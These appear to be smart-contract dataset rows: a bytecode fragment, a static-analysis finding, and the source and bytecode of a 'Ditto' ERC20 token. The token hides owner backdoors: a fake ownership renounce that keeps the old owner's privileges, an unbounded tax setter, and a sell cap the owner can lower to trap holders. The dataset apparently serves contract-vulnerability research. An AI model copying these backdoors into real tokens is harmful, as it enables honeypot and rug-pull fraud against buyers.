02052604081205490811115610cca57610cca81610b3d565b610cd261074f565b5050565b60006108bd34836103a9565b600080600080610cf26001610880565b11610cfc57600080fd5b610d066000610880565b33600081815260056020908152604080832080546801000000000000000087020190556004909152812080549082905590920194509250610d489084906103a9565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b600080831515610dab5760009150610dc7565b50828202828482811515610dbb57fe5b0414610dc357fe5b8091505b5092915050565b6000808284811515610ddc57fe5b04949350505050565b600082821115610df157fe5b50900390565b6006546000906b204fce5e3e2502611000000090829064174876e800610e7b610e757323084f676940b7915149bd08b30d000000000000880269021e19e0c9bab24000006002860a02017005e0a1fd2712875988becaad00000000008502017704140c78940f6a24fdffc78873d4490d210000000000000001610f0a565b85610de5565b811515610e8457fe5b0403949350505050565b600082820183811015610dc357fe5b600654600090670de0b6b3a7640000838101918101908390610ef76414f46b03ff1982850464174876e80002018702600283670de0b6b3a763ffff1982890a8b9003010464174876e80002811515610ef157fe5b04610de5565b811515610f0057fe5b0495945050505050565b80600260018201045b818110156108bd578091506002818285811515610f2c57fe5b0401811515610f3757fe5b049050610f135600a165627a7a7230582068a122ec66823b5ba7b23b3078f4829bd8eb9639da6bc0e34e96404f509d20fb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 8,653 |
0x8F071FcA6Bd6148A24c3B997B17e351209c0BbA4
|
// SPDX-License-Identifier: MIT
// t.me/dittotoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender() || _previousOwner==_msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0xdead));
_previousOwner=_owner;
_owner = address(0xdead);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired,uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ditto is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000000 ;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxRate=8;
address payable private _taxWallet;
string private constant _name = "Ditto";
string private constant _symbol = "DITTO";
uint8 private constant _decimals = 0;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _ceil = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setTaxRate(uint rate) external onlyOwner{
require(rate>=0 ,"Rate must be non-negative");
_taxRate=rate;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(amount <= _ceil);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path,address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
_ceil = 10000000000 ;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxRate, _taxRate);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function forfeitTax(uint256 ceil) external onlyOwner {
_ceil = ceil;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e5780630f9e8b311461016b57806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612630565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906121d0565b6103f6565b6040516101629190612615565b60405180910390f35b34801561017757600080fd5b50610192600480360381019061018d919061223d565b610414565b005b3480156101a057600080fd5b506101a9610512565b6040516101b691906127b2565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e1919061217d565b61051c565b6040516101f39190612615565b60405180910390f35b34801561020857600080fd5b506102116105f5565b60405161021e9190612827565b60405180910390f35b34801561023357600080fd5b5061023c6105fa565b005b34801561024a57600080fd5b50610265600480360381019061026091906120e3565b610674565b60405161027291906127b2565b60405180910390f35b34801561028757600080fd5b506102906106c5565b005b34801561029e57600080fd5b506102a76108da565b6040516102b49190612547565b60405180910390f35b3480156102c957600080fd5b506102d2610903565b6040516102df9190612630565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906121d0565b610940565b60405161031c9190612615565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061223d565b61095e565b005b34801561035a57600080fd5b50610363610aa0565b005b34801561037157600080fd5b5061038c6004803603810190610387919061213d565b61101f565b60405161039991906127b2565b60405180910390f35b3480156103ae57600080fd5b506103b76110a6565b005b60606040518060400160405280600581526020017f446974746f000000000000000000000000000000000000000000000000000000815250905090565b600061040a610403611118565b8484611120565b6001905092915050565b61041c611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806104c95750610478611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90612712565b60405180910390fd5b80600c8190555050565b6000600554905090565b60006105298484846112eb565b6105ea84610535611118565b6105e585604051806060016040528060288152602001612e2b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059b611118565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116139092919063ffffffff16565b611120565b600190509392505050565b600090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661063b611118565b73ffffffffffffffffffffffffffffffffffffffff161461065b57600080fd5b600061066630610674565b905061067181611677565b50565b60006106be600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ff565b9050919050565b6106cd611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061077a5750610729611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6107b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b090612712565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f444954544f000000000000000000000000000000000000000000000000000000815250905090565b600061095461094d611118565b84846112eb565b6001905092915050565b610966611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a1357506109c2611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4990612712565b60405180910390fd5b6000811015610a96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8d90612792565b60405180910390fd5b8060088190555050565b610aa8611118565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610b555750610b04611118565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b90612712565b60405180910390fd5b600b60149054906101000a900460ff1615610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb906126b2565b60405180910390fd5b610c1330600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600554611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7b57600080fd5b505afa158015610c8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb39190612110565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3757600080fd5b505afa158015610d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6f9190612110565b6040518363ffffffff1660e01b8152600401610d8c929190612562565b602060405180830381600087803b158015610da657600080fd5b505af1158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde9190612110565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e6730610674565b600080610e726108da565b426040518863ffffffff1660e01b8152600401610e94969594939291906125b4565b6060604051808303818588803b158015610ead57600080fd5b505af1158015610ec1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ee6919061226a565b5050506001600b60166101000a81548160ff0219169083151502179055506402540be400600c819055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fca92919061258b565b602060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101c9190612210565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e7611118565b73ffffffffffffffffffffffffffffffffffffffff161461110757600080fd5b60004790506111158161196d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118790612772565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f790612692565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112de91906127b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612752565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612652565b60405180910390fd5b6000811161140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612732565b60405180910390fd5b6114166108da565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457506114546108da565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561160357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156115345750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561154957600c5481111561154857600080fd5b5b600061155430610674565b9050600b60159054906101000a900460ff161580156115c15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d95750600b60169054906101000a900460ff165b15611601576115e781611677565b600047905060008111156115ff576115fe4761196d565b5b505b505b61160e8383836119d9565b505050565b600083831115829061165b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116529190612630565b60405180910390fd5b506000838561166a9190612978565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156116af576116ae612ad3565b5b6040519080825280602002602001820160405280156116dd5781602001602082028036833780820191505090505b50905030816000815181106116f5576116f4612aa4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179757600080fd5b505afa1580156117ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cf9190612110565b816001815181106117e3576117e2612aa4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061184a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611120565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118ae9594939291906127cd565b600060405180830381600087803b1580156118c857600080fd5b505af11580156118dc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600654821115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d90612672565b60405180910390fd5b60006119506119e9565b90506119658184611a1490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156119d5573d6000803e3d6000fd5b5050565b6119e4838383611a5e565b505050565b60008060006119f6611c29565b91509150611a0d8183611a1490919063ffffffff16565b9250505090565b6000611a5683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c76565b905092915050565b600080600080600080611a7087611cd9565b955095509550955095509550611ace86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b6385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611baf81611de9565b611bb98483611ea6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c1691906127b2565b60405180910390a3505050505050505050565b6000806000600654905060006005549050611c51600554600654611a1490919063ffffffff16565b821015611c6957600654600554935093505050611c72565b81819350935050505b9091565b60008083118290611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb49190612630565b60405180910390fd5b5060008385611ccc91906128ed565b9050809150509392505050565b6000806000806000806000806000611cf68a600854600854611ee0565b9250925092506000611d066119e9565b90506000806000611d198e878787611f76565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611d8383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611613565b905092915050565b6000808284611d9a9190612897565b905083811015611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd6906126d2565b60405180910390fd5b8091505092915050565b6000611df36119e9565b90506000611e0a8284611fff90919063ffffffff16565b9050611e5e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ebb82600654611d4190919063ffffffff16565b600681905550611ed681600754611d8b90919063ffffffff16565b6007819055505050565b600080600080611f0c6064611efe888a611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f366064611f28888b611fff90919063ffffffff16565b611a1490919063ffffffff16565b90506000611f5f82611f51858c611d4190919063ffffffff16565b611d4190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611f8f8589611fff90919063ffffffff16565b90506000611fa68689611fff90919063ffffffff16565b90506000611fbd8789611fff90919063ffffffff16565b90506000611fe682611fd88587611d4190919063ffffffff16565b611d4190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156120125760009050612074565b60008284612020919061291e565b905082848261202f91906128ed565b1461206f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612066906126f2565b60405180910390fd5b809150505b92915050565b60008135905061208981612de5565b92915050565b60008151905061209e81612de5565b92915050565b6000815190506120b381612dfc565b92915050565b6000813590506120c881612e13565b92915050565b6000815190506120dd81612e13565b92915050565b6000602082840312156120f9576120f8612b02565b5b60006121078482850161207a565b91505092915050565b60006020828403121561212657612125612b02565b5b60006121348482850161208f565b91505092915050565b6000806040838503121561215457612153612b02565b5b60006121628582860161207a565b92505060206121738582860161207a565b9150509250929050565b60008060006060848603121561219657612195612b02565b5b60006121a48682870161207a565b93505060206121b58682870161207a565b92505060406121c6868287016120b9565b9150509250925092565b600080604083850312156121e7576121e6612b02565b5b60006121f58582860161207a565b9250506020612206858286016120b9565b9150509250929050565b60006020828403121561222657612225612b02565b5b6000612234848285016120a4565b91505092915050565b60006020828403121561225357612252612b02565b5b6000612261848285016120b9565b91505092915050565b60008060006060848603121561228357612282612b02565b5b6000612291868287016120ce565b93505060206122a2868287016120ce565b92505060406122b3868287016120ce565b9150509250925092565b60006122c983836122d5565b60208301905092915050565b6122de816129ac565b82525050565b6122ed816129ac565b82525050565b60006122fe82612852565b6123088185612875565b935061231383612842565b8060005b8381101561234457815161232b88826122bd565b975061233683612868565b925050600181019050612317565b5085935050505092915050565b61235a816129be565b82525050565b61236981612a01565b82525050565b600061237a8261285d565b6123848185612886565b9350612394818560208601612a13565b61239d81612b07565b840191505092915050565b60006123b5602383612886565b91506123c082612b18565b604082019050919050565b60006123d8602a83612886565b91506123e382612b67565b604082019050919050565b60006123fb602283612886565b915061240682612bb6565b604082019050919050565b600061241e601783612886565b915061242982612c05565b602082019050919050565b6000612441601b83612886565b915061244c82612c2e565b602082019050919050565b6000612464602183612886565b915061246f82612c57565b604082019050919050565b6000612487602083612886565b915061249282612ca6565b602082019050919050565b60006124aa602983612886565b91506124b582612ccf565b604082019050919050565b60006124cd602583612886565b91506124d882612d1e565b604082019050919050565b60006124f0602483612886565b91506124fb82612d6d565b604082019050919050565b6000612513601983612886565b915061251e82612dbc565b602082019050919050565b612532816129ea565b82525050565b612541816129f4565b82525050565b600060208201905061255c60008301846122e4565b92915050565b600060408201905061257760008301856122e4565b61258460208301846122e4565b9392505050565b60006040820190506125a060008301856122e4565b6125ad6020830184612529565b9392505050565b600060c0820190506125c960008301896122e4565b6125d66020830188612529565b6125e36040830187612360565b6125f06060830186612360565b6125fd60808301856122e4565b61260a60a0830184612529565b979650505050505050565b600060208201905061262a6000830184612351565b92915050565b6000602082019050818103600083015261264a818461236f565b905092915050565b6000602082019050818103600083015261266b816123a8565b9050919050565b6000602082019050818103600083015261268b816123cb565b9050919050565b600060208201905081810360008301526126ab816123ee565b9050919050565b600060208201905081810360008301526126cb81612411565b9050919050565b600060208201905081810360008301526126eb81612434565b9050919050565b6000602082019050818103600083015261270b81612457565b9050919050565b6000602082019050818103600083015261272b8161247a565b9050919050565b6000602082019050818103600083015261274b8161249d565b9050919050565b6000602082019050818103600083015261276b816124c0565b9050919050565b6000602082019050818103600083015261278b816124e3565b9050919050565b600060208201905081810360008301526127ab81612506565b9050919050565b60006020820190506127c76000830184612529565b92915050565b600060a0820190506127e26000830188612529565b6127ef6020830187612360565b818103604083015261280181866122f3565b905061281060608301856122e4565b61281d6080830184612529565b9695505050505050565b600060208201905061283c6000830184612538565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006128a2826129ea565b91506128ad836129ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156128e2576128e1612a46565b5b828201905092915050565b60006128f8826129ea565b9150612903836129ea565b92508261291357612912612a75565b5b828204905092915050565b6000612929826129ea565b9150612934836129ea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561296d5761296c612a46565b5b828202905092915050565b6000612983826129ea565b915061298e836129ea565b9250828210156129a1576129a0612a46565b5b828203905092915050565b60006129b7826129ca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612a0c826129ea565b9050919050565b60005b83811015612a31578082015181840152602081019050612a16565b83811115612a40576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b710000000000000000000000000000000000000000000000000000000060005260326